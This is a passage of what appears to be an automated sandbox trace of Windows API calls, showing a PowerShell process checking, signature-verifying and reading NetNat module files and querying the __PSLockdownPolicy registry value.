lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0114.503] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x118d)) returned 1 [0114.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.503] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0114.504] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x118d)) returned 1 [0114.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0114.504] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.504] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0114.504] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.504] GetFileType (hFile=0xa24) returned 0x1 [0114.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0114.504] GetFileType (hFile=0xa24) returned 0x1 [0114.504] WTGetSignatureInfo () returned 0x0 [0114.660] CertDuplicateCertificateContext (pCertContext=0x73c3c30) returned 0x73c3c30 [0114.661] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa20) returned 0x0 [0114.661] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0114.661] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x545fd28, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0114.661] RegCloseKey (hKey=0xa20) returned 0x0 [0114.661] CoTaskMemAlloc (cb=0x10) returned 0x7443f28 [0114.661] CoTaskMemAlloc (cb=0x30) returned 0x740d6e0 [0114.661] WinVerifyTrust () returned 0x0 [0114.663] CoTaskMemFree (pv=0x740d6e0) [0114.663] CoTaskMemFree (pv=0x7443f28) [0114.663] CertFreeCertificateContext (pCertContext=0x73c3c30) returned 1 [0114.663] CloseHandle (hObject=0xa24) returned 1 [0114.663] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0114.663] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", nBufferLength=0x59, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml", lpFilePart=0x0) returned 0x58 [0114.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0114.663] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatStaticMapping.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatstaticmapping.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.663] GetFileType (hFile=0xa24) returned 0x1 [0114.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0114.663] GetFileType (hFile=0xa24) returned 0x1 [0114.663] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0114.663] ReadFile (in: hFile=0xa24, lpBuffer=0x5460d1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5460d1c*, lpNumberOfBytesRead=0x843d390*=0x1000, lpOverlapped=0x0) returned 1 [0114.664] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1000 [0114.664] ReadFile (in: hFile=0xa24, lpBuffer=0x5460d1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5460d1c*, lpNumberOfBytesRead=0x843d390*=0x18d, lpOverlapped=0x0) returned 1 [0114.664] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x118d [0114.664] ReadFile (in: hFile=0xa24, lpBuffer=0x5460d1c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5460d1c*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0114.664] CoTaskMemAlloc (cb=0x20c) returned 0x73bea00 [0114.664] GetSystemDirectoryW (in: lpBuffer=0x73bea00, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.664] CoTaskMemFree (pv=0x73bea00) [0114.664] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.664] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0114.664] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0114.664] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.664] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa08) returned 0x0 [0114.665] RegQueryValueExW (in: hKey=0xa08, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0114.665] RegCloseKey (hKey=0xa08) returned 0x0 [0114.665] CloseHandle (hObject=0xa24) returned 1 [0114.665] VarDecCmp (pdecLeft=0x843d008, pdecRight=0x843cff8) returned 0x0 [0114.665] VarDecCmp (pdecLeft=0x843cfe8, pdecRight=0x843cfd8) returned 0x1 [0114.666] VarDecCmp (pdecLeft=0x843cfe0, pdecRight=0x843cfd0) returned 0x0 [0114.666] VarDecCmp (pdecLeft=0x843cfc0, pdecRight=0x843cfb0) returned 0x1 [0114.666] VarDecCmp (pdecLeft=0x843d0a4, pdecRight=0x843d094) returned 0x0 [0114.666] VarDecCmp (pdecLeft=0x843d084, pdecRight=0x843d074) returned 0x1 [0114.666] VarR8FromDec (in: pdecIn=0x54717c0, pdblOut=0x843d060 | out: pdblOut=0x843d060) returned 0x0 [0114.666] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.666] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.666] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0114.666] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0114.667] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml")) returned 0x20 [0114.667] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.667] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.667] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0114.667] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.667] CoTaskMemFree (pv=0x73c10d0) [0114.667] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.667] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0114.667] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0114.667] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.668] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa24) returned 0x0 [0114.668] RegQueryValueExW (in: hKey=0xa24, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0114.668] RegCloseKey (hKey=0xa24) returned 0x0 [0114.668] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.668] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0114.668] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x5475b74 | out: lpFileInformation=0x5475b74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7)) returned 1 [0114.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0114.668] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.668] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0114.668] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7)) returned 1 [0114.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0114.669] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbe5f0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbe5f0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbe5f0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f7)) returned 1 [0114.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.669] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0114.669] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.669] GetFileType (hFile=0xa24) returned 0x1 [0114.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0114.669] GetFileType (hFile=0xa24) returned 0x1 [0114.669] WTGetSignatureInfo () returned 0x0 [0114.830] CertDuplicateCertificateContext (pCertContext=0x73c2c90) returned 0x73c2c90 [0114.830] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa20) returned 0x0 [0114.831] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0114.831] RegQueryValueExW (in: hKey=0xa20, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x547606c, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0114.831] RegCloseKey (hKey=0xa20) returned 0x0 [0114.831] CoTaskMemAlloc (cb=0x10) returned 0x7443e08 [0114.831] CoTaskMemAlloc (cb=0x30) returned 0x740db08 [0114.831] WinVerifyTrust () returned 0x0 [0114.832] CoTaskMemFree (pv=0x740db08) [0114.832] CoTaskMemFree (pv=0x7443e08) [0114.832] CertFreeCertificateContext (pCertContext=0x73c2c90) returned 1 [0114.832] CloseHandle (hObject=0xa24) returned 1 [0114.832] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0114.833] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml", lpFilePart=0x0) returned 0x52 [0114.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0114.833] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatSession.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatsession.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.833] GetFileType (hFile=0xa24) returned 0x1 [0114.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0114.833] GetFileType (hFile=0xa24) returned 0x1 [0114.833] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0114.833] ReadFile (in: hFile=0xa24, lpBuffer=0x5477054, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5477054*, lpNumberOfBytesRead=0x843d390*=0x1f7, lpOverlapped=0x0) returned 1 [0114.833] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x1f7 [0114.833] ReadFile (in: hFile=0xa24, lpBuffer=0x5477054, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5477054*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0114.833] CoTaskMemAlloc (cb=0x20c) returned 0x73bf2a0 [0114.833] GetSystemDirectoryW (in: lpBuffer=0x73bf2a0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.833] CoTaskMemFree (pv=0x73bf2a0) [0114.833] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.833] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0114.833] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, 